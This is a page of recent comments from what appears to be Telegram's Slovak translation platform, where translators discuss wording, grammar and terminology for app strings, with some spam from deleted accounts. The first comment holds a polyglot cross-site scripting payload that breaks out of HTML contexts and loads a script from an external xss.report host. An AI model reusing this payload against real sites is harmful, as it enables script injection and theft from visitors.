Search in:AllSlovakAll Apps

Recent Comments
TranslationsSuggestionsComments

Alebo zvoľte miesto
NearbyPlacesAndroid
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*&lt;svg/*/onload=(import(/https:\xss.report\c\ziadali1/.source))//>
Ziad Ali, Nov 16, 2025 at 17:43
na ⭐️%dna ⭐️%dna ⭐️%d
PaidMessagesSendErrorState2Android
https://translations.telegram.org/sk/android/untranslated/PaidMessagesSendErrorState1
kubalav, Mar 10, 2025 at 09:21
na ⭐️%dna ⭐️%dna ⭐️%d
PaidMessagesSendErrorToast2Android
Pokračovanie vety z https://translations.telegram.org/sk/android/untranslated/PaidMessagesSendErrorToast1
kubalav, Mar 10, 2025 at 09:19
Vymeniť tento darček od **%1$s** za **%2$s**?

Túto akciu nemožno zrušiť. Darček navždy zmizne.
Gift2ConvertTextAndroid
https://translations.telegram.org/sk/android/untranslated/Gift2ConvertStars
kubalav, Oct 2, 2024 at 09:33
**%@** k vášmu zostatku.
Stars.Intro.PurchasedTextiOS
https://translations.telegram.org/sk/ios/bots_and_payments/Stars.Intro.PurchasedText.Stars
Viliam Tokarcik, Sep 8, 2024 at 21:09
%@ hviezdička pridaná%@ hviezdičky pridané%@ hviezdičky pridané%@ hviezdičiek pridaných
Stars.Intro.PurchasedText.StarsiOS
Slovo z https://translations.telegram.org/sk/ios/bots_and_payments/Stars.Intro.PurchasedText
Viliam Tokarcik, Sep 8, 2024 at 21:09
Konverzačný roboti
Business.ChatbotsiOS
Zjednotím to podla Androidu vďaka
Viliam Tokarcik, Mar 8, 2024 at 14:42
Konverzačný roboti
Business.ChatbotsiOS
Nechcem ti do toho zasahovať, ale asi by mali byť "roboty". Keď to chceš mať ako roboti, tak nominatív prídavného mena množného čísla je Konverzační roboti.
kubalav, Mar 8, 2024 at 10:19
Odstráni sa o %@
Conversation.AutoremoveRemainingTimeiOS
Musel som skrátiť text lebo nebolo vidno čas
Viliam Tokarcik, Feb 4, 2024 at 13:52
%1$sЭто мяуканье Доступно
UsernameAvailableAndroid X
Я это создал
Deleted Account, Jun 22, 2023 at 03:09
Poslať kontakt do skupiny %1$s?
SendContactToGroupAndroid
Отправить контакт на выходные?
Deleted Account, Jan 31, 2023 at 03:45
OK
OKAndroid
Наконец-то!!
Deleted Account, Jan 31, 2023 at 03:14
Si si istý, že chceš zmazať všetky proxy?
DeleteAllProxiesConfirmAndroid
Odporúčam pozrieť dokument konvencií - lebo tieto preklady sú zlé.
Viliam Tokarcik, Jan 30, 2023 at 14:38
Všetky fotky
AllPhotosAndroid
фоткиии
Deleted Account, Jan 12, 2023 at 17:47
OK
OKAndroid
без слов!!
Deleted Account, Jan 12, 2023 at 17:45
Chcete nastaviť túto fotku pre váš profil?
SetUserPhotoSelfAlertMessageAndroid
syky312@gmayl.Sk
Deleted Account, Jan 3, 2023 at 19:33
un1 vypnul antispam
EventLogDisabledAntiSpamAndroid
čeština
Juraj Fiala, Dec 7, 2022 at 10:18
Táto správa obsahuje emoji z **%d balíčka**.Táto správa obsahuje emoji z **%d balíčkov**.Táto správa obsahuje emoji z **%d balíčkov**.Táto správa obsahuje emoji z **%d balíčkov**.
MessageContainsEmojiPacksAndroid
Ja som nič podobné nezaznamenal.
kubalav, Nov 26, 2022 at 13:12
Táto správa obsahuje emoji z **%d balíčka**.Táto správa obsahuje emoji z **%d balíčkov**.Táto správa obsahuje emoji z **%d balíčkov**.Táto správa obsahuje emoji z **%d balíčkov**.
MessageContainsEmojiPacksAndroid
Na iOS som si všimol bug, že sa nepoužitie preklad na Android to neviem otestovať. Použije sa ako prázdny riadok, keď tam nič nie je.
Viliam Tokarcik, Nov 25, 2022 at 09:40
Táto správa obsahuje emoji z **%d balíčka**.Táto správa obsahuje emoji z **%d balíčkov**.Táto správa obsahuje emoji z **%d balíčkov**.Táto správa obsahuje emoji z **%d balíčkov**.
MessageContainsEmojiPacksAndroid
Prečo vypĺňaš položku (many)? Tá je určená len na zlomkové, resp. racionálne čísla ako je 1,5.
kubalav, Nov 24, 2022 at 10:09
Emoji bol archivovaný
EmojiPackActionInfo.ArchivedTitleiOS
Áno máš pravdu.
Viliam Tokarcik, Aug 10, 2022 at 12:06
Emoji bol archivovaný
EmojiPackActionInfo.ArchivedTitleiOS
Nie je emoji stredného rodu?
kubalav, Aug 10, 2022 at 08:04
Ste si istí, že chcete fotoaparátu udeliť prístup k %@?
WebApp.Access.VideomacOS
Zlý preklad. Udeľuje sa prístup niekomu k niečomu.
Používať výrazy (Are you sure you…) z https://docs.google.com/spreadsheets/d/1VKulmUEkb6Ihw-t-PL2o9tb9gKqcN_LGb2iqwayp96o/.
kubalav, Aug 6, 2022 at 10:07
Je nám ľúto, ale na začiatok nemôžete pripnúť viac ako **%1$@** chatov v archíve. Zrušte pripnutie niektorých z aktuálne pripnutých alebo si predplaťte **Telegram Premium**, aby ste zdvojnásobili limit na **%2$@** chatov.
Premium.Limit.PinInArchive.InfomacOS
Zlá terminológia
Viliam Tokarcik, Jul 4, 2022 at 12:32
Sa vrátil do skupiny
Chat.Input.ReturnmacOS
Chybný preklad. 'Return to the group' znamená 'Vrátiť sa do skupiny'.
Пати, Jul 4, 2022 at 10:47
online %1$s
LastSeenFormattedAndroid
robí problém s dĺžkou, musel som to skrátiť
Juraj Fiala, May 30, 2022 at 06:43
Nová konverzácia
NewChatAndroid X
𝕮𝖍𝖆𝖙 𝖇𝖆𝖗𝖚
Deleted Account, Feb 7, 2022 at 14:23
ALEBO ZVOĽTE MIESTO
NearbyPlacesAndroid
Slovakia
Deleted Account, Nov 15, 2021 at 00:24
Alebo zvoľte miesto
NearbyPlacesAndroid
Slovakia
Deleted Account, Nov 15, 2021 at 00:23
Spotreba mobilných dát
MobileUsageAndroid
Seiman tapi tak seamin
Deleted Account, Oct 15, 2021 at 02:22
Spotreba mobilných dát
MobileUsageAndroid
Seiman tapi tak seaamim
Deleted Account, Oct 15, 2021 at 02:21
Doklad
PaymentReceiptAndroid
О ПАНА
Deleted Account, Aug 1, 2021 at 07:37
Vypnúť
NotificationsTurnOffAndroid
Закрой рот
Deleted Account, Aug 1, 2021 at 07:36
Telegram
Page1TitleAndroid
ГАВРИЛИНСКИЙ ЧАТ
Deleted Account, Aug 1, 2021 at 07:35
Majte na pamäti, že **%1$s** sa nachádzajú medzi výnimkami a nebudú ovplyvnené touto zmenou.
NotificationsExceptionsAlertAndroid
Ved preto, ak ma niekto lepsiu verziu, moze to tu sam zmenit. Nikto z nas tu nie je jazykovedec, predpokladam.
Michal Jurcek, May 21, 2021 at 06:59
Majte na pamäti, že **%1$s** sa nachádzajú medzi výnimkami a nebudú ovplyvnené touto zmenou.
NotificationsExceptionsAlertAndroid
„Ak sa ti to nepáči“
Ja som myslel, že tu ide o presnosť a správnosť prekladu, nie o to, čo sa komu páči alebo nepáči a ľahostajnosť.
Patrik M., May 4, 2021 at 22:27
Zrušenie skupinového hovoru
VoiceChat.CancelConfirmationTitleiOS
Je to titulok, nie tlačidlo.
Viliam Tokarcik, Apr 10, 2021 at 00:28
Nová správa
NewMessageTitleAndroid
jangan dicari.
Deleted Account, Mar 13, 2021 at 09:54
Neobmedzený
InviteLink.Create.UsersLimitNumberOfUsersUnlimitediOS
Tento preklad je k titulku "Počet použití"
Viliam Tokarcik, Feb 24, 2021 at 01:34
Stále
InviteLink.Create.TimeLimitExpiryDateNeveriOS
Tento preklad je k titulku "Expiry date", ktorý je preložený ako "Dátum platnosti", aby to v kontexte logicky dávalo vyznám musí to byť preložené v kladnom tvare.
Viliam Tokarcik, Feb 24, 2021 at 01:30
Neobmedzená
InviteLink.Create.UsersLimitNumberOfUsersUnlimitediOS
V kontexte nová pozvánka je => "Neobmedzená"
Viliam Tokarcik, Feb 24, 2021 at 01:18
Majte na pamäti, že **%1$s** sa nachádzajú medzi výnimkami a nebudú ovplyvnené touto zmenou.
NotificationsExceptionsAlertAndroid
Co ti ja viem... Ak sa ti to nepaci, kludne to zmen.
Michal Jurcek, Feb 22, 2021 at 18:50
Majte na pamäti, že **%1$s** sa nachádzajú medzi výnimkami a nebudú ovplyvnené touto zmenou.
NotificationsExceptionsAlertAndroid
Prečo si zmenil „nachádza“ za „nachádzajú“? Nachádzajú je len pre počet 2, 3, 4 a nachádza pre 5 a vyššie, čo je omnoho viac prípadov.
kubalav, Feb 22, 2021 at 17:06
Keďže je účet **%1$s** aktívny a chránený heslom, kvôli bezpečnosti ho odstránime až o 1 týždeň. Oneskorenie je z bezpečnostných dôvodov.

Tento proces môžete kedykoľvek zrušiť.
ResetAccountInfoAndroid
Tu je "z bezpečnosti" dvakrát.
Juraj Fiala, Feb 20, 2021 at 19:45
Vymazať kanál
Conversation.ClearChanneliOS
Nemusí komplete vymazať kanál, môže len zmazať všetky správy v ňom ("vyčistiť"). Toto nám treba zistiť alebo vyskúšať po uvoľnení novej verzie aplikácie.
Viliam Tokarcik, Feb 18, 2021 at 16:47
Selfie
Passport.Identity.SelfieiOS
Tak profilová fotka je preklad celkom nesprávny. Tu ide o fotografiu na Telegram pas. Žiadna fotka do profilu. Musíš odfotiť sám seba aj s dokumentom. Selfie poznajú aj starší ľudia.
kubalav, Feb 16, 2021 at 16:59
naposledy bol videný %@
LastSeen.AtDateiOS
Cieľom je rody neriešiť vôbec a nájsť optimálnu slovensku formuláciu bez rodov, ak sa to dá.
Viliam Tokarcik, Feb 16, 2021 at 16:28
Moja profilová fotka
Passport.Identity.SelfieiOS
Pojem profilová fotka môže viesť k mylnému pochopeniu kontextu. Ľudia niekedy si profilové fotky upravujú grafickými filtrami a efektami. V tomto kontexte sa to chápe ako odfotenie tvare a nahratie vlastnej fotky pre KYC účely.
Viliam Tokarcik, Feb 16, 2021 at 16:27
naposledy online %@
LastSeen.AtDateiOS
online nie je slovenske slovo
Viliam Tokarcik, Feb 16, 2021 at 16:20
Posledná aktivita
LastSeenAndroid X
Možno by to šlo skrátiť na “Aktivita”?
Пати, Feb 16, 2021 at 14:51
naposledy online %@
LastSeen.AtDateiOS
Táto varianta je rodovo neutrálna, preto netreba pri nej riešiť pohlavie.
Пати, Feb 16, 2021 at 14:49
naposledy bol videný %@
LastSeen.AtDateiOS
Ako je to s mužským / ženským rodom? Prikladá sa automaticky á/ý?
Пати, Feb 16, 2021 at 14:48
Naposledy použité
lng_recent_stickersTDesktop
Naposledy je “last used”, nie “recently”. Recently znamená nedávno.
Пати, Feb 16, 2021 at 14:46
Selfie
Passport.Identity.SelfieiOS
Profilová fotka si myslím je najakceptovanejšie. Alebo vlastná fotka. To sú rozumné preklady.

Čo sa Selfie týka, treba pozerať na všetky generácie, nie len na tú mladšiu. Keď sa opýtam niekoho zo starších ťažko mi povie čo je Selfie. Profilovej fotke rozumie úplne každý, takže buďme ohľaduplní.
Пати, Feb 16, 2021 at 14:43
Selfie
Passport.Identity.SelfieiOS
Neskoro som si všimol, už je zapísané v terminológii ako vlastná fotka. Netvárme sa však, že seflie je amerikanizmus, a preto je to fuj. Selfie sa celkom udomácnilo. Keď už chcete slovenské slovo, omnoho lepší výraz je selfíčko. Vlastná fotka je nepresný opisný výraz, ktorý by mal znieť fotka seba samého.
kubalav, Feb 15, 2021 at 10:21
Selfie
Passport.Identity.SelfieiOS
Pre boha. Určite nie. Selfie? To je slovenské spisovné slovo?
Пати, Feb 14, 2021 at 17:11
Opýtať sa otázku
Settings.SupportiOS
“Položiť otázku” je spisovne správne. Keď sa na niečo pýtame tak kladieme otázky. Klásť otázky znamená ich položiť.
Пати, Feb 14, 2021 at 16:51
Importované
ImportedMessageAndroid
Mne to tiež tak dava zmysel, + ID prekladu je ImportedMesasge
Viliam Tokarcik, Jan 28, 2021 at 22:38
Importované
ImportedMessageAndroid
Spravy, podporovany bude import z WhatsApp, Line, KakaoTalk
Michal Jurcek, Jan 28, 2021 at 08:57
Importované
ImportedMessageAndroid
Bude treba zistiť či sa to mysli "importované správy" alebo "importovaný účet"
Viliam Tokarcik, Jan 28, 2021 at 00:08
Hestek
HashtagsAndroid
???
Patrik M., Jan 20, 2021 at 22:30
dd.MM.yy
formatterYearAndroid
Dle typografických pravidel češtiny a slovenštiny (které mají typografická pravidla z 99 % společná) se píše datum s mezerou za oběma tečkami.
Patrik M., Jan 20, 2021 at 22:29
Poslať správu používateľovi %1$s?
SendMessagesToGroupAndroid
Množné číslo chybí.
Patrik M., Jan 20, 2021 at 22:22
Poslať správu používateľovi %1$s?
SendMessagesToAndroid
Množné číslo chybí.
Patrik M., Jan 20, 2021 at 22:22
Sek sek
UpdatingAndroid
Not Slovak language.
Patrik M., Jan 20, 2021 at 22:21
Prihlasovací kód, ktorý zadáte pre potvrdenie prihlásenia je **%1$s**.

Z bezpečnostných dôvodov ho prosím nezdieľajte.
OtherLoginCodeAndroid
„Z bezpečnostných dôvodov ho prosím nezdieľajte.“ by dle Vašeho názoru možná bylo vhodnější, ale není to to, co po nás Telegram chce, abychom přeložili do slovenštiny.
Patrik M., Jan 20, 2021 at 22:17
RESETOVAŤ ÚČET
RestorePasswordResetAccountAndroid
„Obnova“ ale neznie ako niečo, čo Vám vybieli celý účet.
Patrik M., Jan 20, 2021 at 22:14
RESETOVAŤ ÚČET
RestorePasswordResetAccountAndroid
Tak dôležité je aby to hlavne bolo rovnaké vo všetkých aplikáciach, imho.
Juraj Fiala, Jan 18, 2021 at 08:48
Zapnúť video
lng_call_start_videoTDesktop
Nezmesti sa to tam...
Michal Jurcek, Dec 24, 2020 at 11:35
%1$@ zapol zvuk od %2$@
Channel.AdminLog.UnmutedMutedParticipantiOS
Preveriť poradie mien, či prve meno je správca alebo účastník.
Viliam Tokarcik, Dec 8, 2020 at 19:24
Odtíšiť
VoiceChat.UnmuteiOS
Minule som presne riešil problém, že sa nezmestil dlhy text, tak som dal kratší variant prekladu. Poznačím si to, ak bude nová verzia vonku prekontrolujem tuto obrazovku aj s dlhým textom ako to ukáže.
Viliam Tokarcik, Dec 6, 2020 at 14:44
Odtíšiť
VoiceChat.UnmuteiOS
Nie je toto slovo nejake divne? Ci sa nevojde viac pismen?
Michal Jurcek, Dec 5, 2020 at 14:19
Archivované konverzácie
ChatList.ArchivedChatsTitleiOS
Prekrýva sa s týmto Title https://translations.telegram.org/sk/ios/chat_list/DialogList.Title
Viliam Tokarcik, Nov 8, 2020 at 23:49
Keďže je účet **%1$s** aktívny a chránený heslom, kvôli bezpečnosti bude odstránený za 1 týždeň.

Tento proces môžete kedykoľvek zrušiť.
ResetAccountInfoAndroid
Hm, išiel som to akurát potvrdiť, keď som si všimol, že to má byť "o 1 týždeň". :D
Juraj Fiala, Oct 20, 2020 at 08:14
**Telegram X** nemohol zobraziť niektoré upozornenia od %1$s kvôli neznámej systémovej chybe.

Prosím uistite sa. že:
• Všetky aktualizácie systému sú nainštalované
• Telegram X je aktuálny
• V systémových nastaveniach nie sú žiadne obmedzenia týkajúce sa upozornení.

Ak vyššie uvedené kroky nepomôžu, môžete zdieľať podrobnú správu o chybe na @tgandroidtests alebo vyhľadať tipy na riešenie problémov pre svoje zariadenie.
NotificationsGuideErrorChatAndroid X
Kludne sem napis svoju verziu a mozem ju aplikovat, ak bude sediet :-)
Michal Jurcek, Sep 17, 2020 at 12:20
RESETOVAŤ ÚČET
RestorePasswordResetAccountAndroid
Tuto sa riadim googlom, ale nebranim sa ani obnove uctu.
Michal Jurcek, Sep 17, 2020 at 12:18
Zdieľať vašu polohu?
ShareYouLocationTitleAndroid
Drobná chybička: Vašu, veľké v :)
Пати, Sep 12, 2020 at 10:35
RESETOVAŤ ÚČET
RestorePasswordResetAccountAndroid
Resetovať nie je slovenský výraz a preto by sa nemal použiť. Obnoviť je niečo, čomu viacero ľudí porozumie, hlavne staršia generácia.
Пати, Sep 12, 2020 at 10:29
**Telegram X** nemohol zobraziť niektoré upozornenia od %1$s kvôli neznámej systémovej chybe.

Prosím uistite sa. že:
• Všetky aktualizácie systému sú nainštalované
• Telegram X je aktuálny
• V systémových nastaveniach nie sú žiadne obmedzenia týkajúce sa upozornení.

Ak vyššie uvedené kroky nepomôžu, môžete zdieľať podrobnú správu o chybe na @tgandroidtests alebo vyhľadať tipy na riešenie problémov pre svoje zariadenie.
NotificationsGuideErrorChatAndroid X
Máš tam chybu v interpunkcii. Slovosled by sa dal pozmeniť na niečo užívateľsky priateľskejšie aby to neznelo ako by to písal robot.
Пати, Sep 12, 2020 at 10:26
Zrušili ste časovač samozničenia
Notification.MessageLifetimeRemovedOutgoingiOS
samo-deštrukčný /samodeštrukčný je lepší preklad. Ide o vlastnosť (prídavné meno) časovača, fotky alebo videa.
Viliam Tokarcik, Sep 9, 2020 at 12:01
Zrušili ste samo-deštrukčný časovač
Notification.MessageLifetimeRemovedOutgoingiOS
samo-deštrukčný /samodeštrukčný je lepší preklad. Ide o vlastnosť (prídavné meno) časovača, fotky alebo videa.
Viliam Tokarcik, Sep 9, 2020 at 12:00
Bežné
RegularAndroid
Zaužívaný výraz pre štýl písma je normálne písmo.
kubalav, Sep 9, 2020 at 10:07
nahrávanie video správy...
RecordingRoundAndroid
Videospráva sa píše spolu
kubalav, Sep 9, 2020 at 10:00
Pripojili ste sa k tajnej konverzácií.
EncryptedChatStartedIncomingAndroid
Použiť tento preklad z dôvodu konzistencie.
kubalav, Sep 2, 2020 at 07:36
Odmietnuť
DeclineAndroid
Treba použiť „Zamietnuť“ z dôvodu konzistencie prekladu.
kubalav, Aug 27, 2020 at 09:12
Vzhľadom k tomu že ste pri zadávaní hesla neuviedli e-mail na obnovenie, vaše zostávajúce možnosti pre prihlásenie sú: spomenutie si na heslo alebo obnova účtu.
RestorePasswordNoEmailTextAndroid
nesprávna väzba „vzhľadom k“ - správne „vzhľadom na“
kubalav, Aug 27, 2020 at 08:57
OBNOVIŤ
ResetAccountButtonAndroid
Správne „OBNOVIŤ ÚČET“, pre zachovanie konzistencie s inými reťazcami.
kubalav, Aug 26, 2020 at 10:22
Skryť chat
PsaHideChatAlertTitleAndroid
Dobre, moja chyba.
George, Apr 27, 2020 at 09:29
Skryť chat
PsaHideChatAlertTitleAndroid
Chat prekladáme ako konverzácia
Viliam Tokarcik, Apr 27, 2020 at 09:20
Smajlíky
Entertainment.Switch.EmojimacOS
Apple platforma ma oficiálny preklad smajlík pre emoji
Viliam Tokarcik, Apr 26, 2020 at 01:28
Návrhy podľa smajlíkov
Stickers.SuggestStickersiOS
Apple platforma ma oficiálny preklad smajlík pre emoji
Viliam Tokarcik, Apr 26, 2020 at 01:26
Používatelia v okolí si budú môcť zobraziť váš profil a posielať vám správy. To vám môže pomôcť nájsť nových priateľov, ale mohlo by to tiež pritiahnuť nadmernú pozornosť. Svoj profil môžete kedykoľvek prestať zdieľať.

Vaše telefónne číslo zostane skryté.
PeopleNearby.MakeVisibleDescriptioniOS
Gugl to prelozil celkom dobre :-)
Michal Jurcek, Feb 13, 2020 at 14:42
Obnoviť účet
Login.ResetAccountTextmacOS
Ok dajme "resetovať" https://slovnik.juls.savba.sk/?w=resetova%C5%A5&s=exact&c=a97b&cs=&d=kssj4&d=psp&d=sssj&d=orter&d=scs&d=sss&d=peciar&d=hssjV&d=bernolak&d=noundb&d=locutio&d=obce&d=priezviska&d=un&d=pskcs&d=psken#
Viliam Tokarcik, Nov 11, 2019 at 12:42
Obnoviť účet
Login.ResetAccountTextmacOS
Pre mňa obnoviť znamená skôr recover…
Juraj Fiala, Nov 11, 2019 at 12:30
Pridať selfie
SecureId.Identity.SelfieUploadmacOS
Selfie nie je slovenske spisovne slovo.
Viliam Tokarcik, Oct 13, 2019 at 10:49
Hovor zrušený
Call.StatusFailediOS
Jo, toto je zlyhanie.
Juraj Fiala, Sep 18, 2019 at 09:32
Saturácia
SaturationAndroid X
Aj MS súhlasí.
Juraj Fiala, Sep 18, 2019 at 09:31
Čoskoro sa vrátim
Watch.Suggestion.BRBiOS
"BRB means be right back. It is one of the most commonly used acronyms in online chat and texting. It communicates that the person is leaving for a moment, but will be back shortly." - > Čoskoro sa vrátim
Viliam Tokarcik, Jun 30, 2019 at 18:42
Hlásenia a zvuky
Settings.NotificationsAndSoundsiOS
Oficiálny Apple preklad je Hlásenia
Viliam Tokarcik, Jun 15, 2019 at 23:58
Saturácia
SaturationAndroid X
Skus zvážiť ci "sýtosť farby" nie je lepši preklad.
Viliam Tokarcik, Jun 13, 2019 at 23:58
Load More